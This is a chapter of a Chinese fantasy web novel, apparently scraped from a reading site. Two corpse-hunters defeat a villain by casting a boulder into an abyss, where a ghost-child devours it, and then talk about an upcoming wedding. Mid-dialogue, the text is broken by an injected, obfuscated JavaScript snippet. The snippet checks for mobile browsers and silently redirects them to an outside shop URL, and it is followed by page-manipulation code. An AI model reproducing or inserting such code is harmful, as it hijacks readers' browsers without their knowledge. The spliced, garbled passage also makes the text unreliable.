情急之下,涂塑抬手,举起了手中的收魂伞。 山门寻尸,承载冤魂怨鬼的是锁魂箱,而海门寻尸,用的便是收魂伞。 三枚瞳孔一颤:“啧!拿收魂伞作挡箭牌,涂木这小子,该犹豫了。” 而犹豫,往往是走向败北的重要原因。 又觑了万丈深渊一眼,三枚咬了咬牙,打算出手补助一刀的时候,却轮到她惊掉下巴了。 “你......你......” 三枚瞪着眼睛,看着那块巨大的石头,一点停顿没有、干净利落地砸向了那把收魂伞。 而涂木,手里就抱着那块巨石,从他的视角,应该是能看见他的收魂伞才是,脸上一点犹豫不舍的表情都没有。 “砰!” 震天的巨响,仿佛一颗超强威力的炸弹,轰得整个洞室左右剧烈晃动了起来。 三枚心间猛然一颤,脚下一软。 她想:若是挡着巨石的是她的锁魂箱,她可能没法像涂木一样生猛,眼都不眨,就是一个猛砸。 咽了下口水,三枚:“你的伞......” “啊?”正在确认涂塑生死的小伙子,听见三枚的声音,见她一脸同情地看着自己,不明所以地挠了挠头:“我的伞?怎么啦?” 三枚:“被压扁了把,被那块开了光的巨石。” “啊?哦,嗨,”涂木还以为什么大不了的事情,摆摆手道:“没事,没事。” 他说:“我的收魂伞专门找人定制的,根本砸不坏一点!” 砸不坏? 三枚嘴角一抽:“那难怪了,这么舍得下手。简直浪费我感情!” 小小地翻了个白眼,她不再理会涂木,而是被压在石块下的涂塑看去。 “怎么样,拿下了吗?”她问。 涂木点了点头:“压在石块下面呢。” “但是,现在要怎么做?” 他是能抱着石头移动,但感觉这么一块大石头,根本出不了洞口啊。 “你把石块推过来。”三枚转头,又看了那万丈深渊一眼,“快点。” 涂木摸不着头脑,根本不知道三枚想做什么,但他性子憨直,想不出答案的事情,行动全凭直觉。 于是,他听话地推动了巨石,慢慢地走到了三枚的身前。 “好了,现在我要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044346|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么做?”涂木问三枚。 三枚侧过身,下巴朝外面一抬,“推下去。” “啊?”涂木嘴巴大张,确认道:“推下去?” “啧。”三枚嫌他啰嗦,一把将人推开,抬脚对着巨石一踹。 “轰隆”一声,巨石瞬间滚落深渊。 三枚望着急速缩小的巨石,双手放在嘴边,对着万丈深渊之下,声嘶力竭地大吼道:“小鬼头,涂塑来咯!!!” —— “砰!” 三枚的话音刚落,深渊之下,突然涌起一个黑影,仿若新芽挣脱了束缚,瞬间破土而出。 黑影快如闪电,以惊人的速度向上飞窜,眨眼就来到了巨石的下方。 涂木趴在洞口向下张望,目瞪口呆地道:“这个雾网一样的东西,是那个小鬼头身上的鬼气?” 他还是第一次见如此骇人的力量,如此震撼的气势,这......分明不是一个普通的小鬼头,能发散出来的磅礴气焰! 小鬼头身上的鬼气胀得越来越大,仿佛要将整个世界都填满了一样。 眼见被困在巨石之中的涂塑,开始挣扎扑棱,小鬼头嗤之以鼻,漫不经心地哈了一声,好像打了个打打的哈欠,接着张开血盆大口,“啊呜”一声,直接将巨石吞噬入腹。 还挺干脆利落! 三枚嘴边慢慢泛起笑意,这才回答涂木的问题:“这小鬼头,说自己是地府主持百鬼夜行的冥王大人,也不知真的假的。” 冥王?! 好厉害的官了!怎么三枚语气十分嫌弃的样子? 涂木疑惑地转过头,却见她眼里满是笑意和欣赏,脸上分明很像是引以为豪的神情,搞得他都有点混乱了。 安静地欣赏了一会儿,三枚支起身子,拍了拍手上的灰尘,长袖一甩:“现在,就剩这个地下洞府了。” 涂木跟在她的身后:“这个洞府怎么了?” “那些被涂塑拿来作还魂载体的活死人,都被带进了这里,还魂失败,想必那些尸体都被抛弃在了一旁。” 她得将洞室里的尸体都带出去,再将这个充满煞气的地方,给夷为平地。 否则若是放任不管,这里可能会形成一个阴邪之地,容易滋养邪祟。 于是等三枚和涂木累得半死,终于将洞府里的尸骨都给搬到了地上,再将这个伪装成沼泽地的地下洞室彻底毁坏的时候—— 天,亮了。 太阳缓缓地从东边升起,金色的光辉“哗啦啦”地洒照大地,覆盖在人的身上,温暖得人昏昏欲睡。 三枚打了个哈欠,疲惫感瞬间从心底涌了上来,浑身感到酸痛不已。 她一下子就瘫坐在了地上,双手交叉向上一抬,伸了个懒腰后,身子往后一倒,直接躺在了地上。 “接下来交给你了。”三枚懒懒地道。 涂木:“行,包在我的身上。” 三枚歪着头,看着涂木任劳任怨地挖土埋坑,哼哧哼哧干得热火朝天,好似浑身有使不完的劲一样。 “涂木,你的收魂伞被小鬼头吞进了肚子里,要怎么办哟?” 涂木停下了动作,抬袖擦了把汗:“没事,它自己会回来的。” 他指了下慢慢朝三枚移动的锁魂箱,说:“跟你们山门的木箱子一样,我的收魂伞,也只认我一个人。” 三枚挑了下眉:“哦。” 见三枚缓缓地闭上眼睛,好像要睡着了一样,涂木憨笑着摇了摇头,转身又开始干起了活。 天空飞鸟呼啸飞过,带起的风声扑簌簌地响。 安静了好一会儿,身后忽而又响起了三枚的声音:“喂。” “我打算明年成婚,到时不定会给你们海门发请帖,你怎么说?” 自己已经将涂塑一事,直接捅到了古寨几个老顽固那儿,兴许接下来,海门涂家应该会动荡一段时间。 内部不止可能会迎来全盘重来大清洗,涂木这个继承人的位置,估摸坐不稳了。 对外,海门面对其他几门的围攻夹击,势必还得大出血一番。 但无论是何种动荡不安,三枚最终都一定会被记恨上。 涂木一顿,转头看着三枚:“你请我吗?” 三枚:“请啊。” 今天并肩作战一场,虽然涂木蠢是蠢了点,但好歹听话不拖后腿,比序家有些人好合作多了。 “那你给我另发一份请帖便是,我届时一定来讨杯喜酒喝喝。”想到喝酒,涂木馋得咽了下口水。 三枚微微一笑:“行。” “对了,”涂木挠挠头,看着阳光下闪闪发光的三枚,忽而问道:“新郎官,我认识吗?” 也不知道,自己到时要准备什么贺礼比较合适? “呐,”三枚缓缓睁开眼睛,撑着脑袋,指着不远处踏光而来的陆衎,道:“喏,准新郎官,来了。”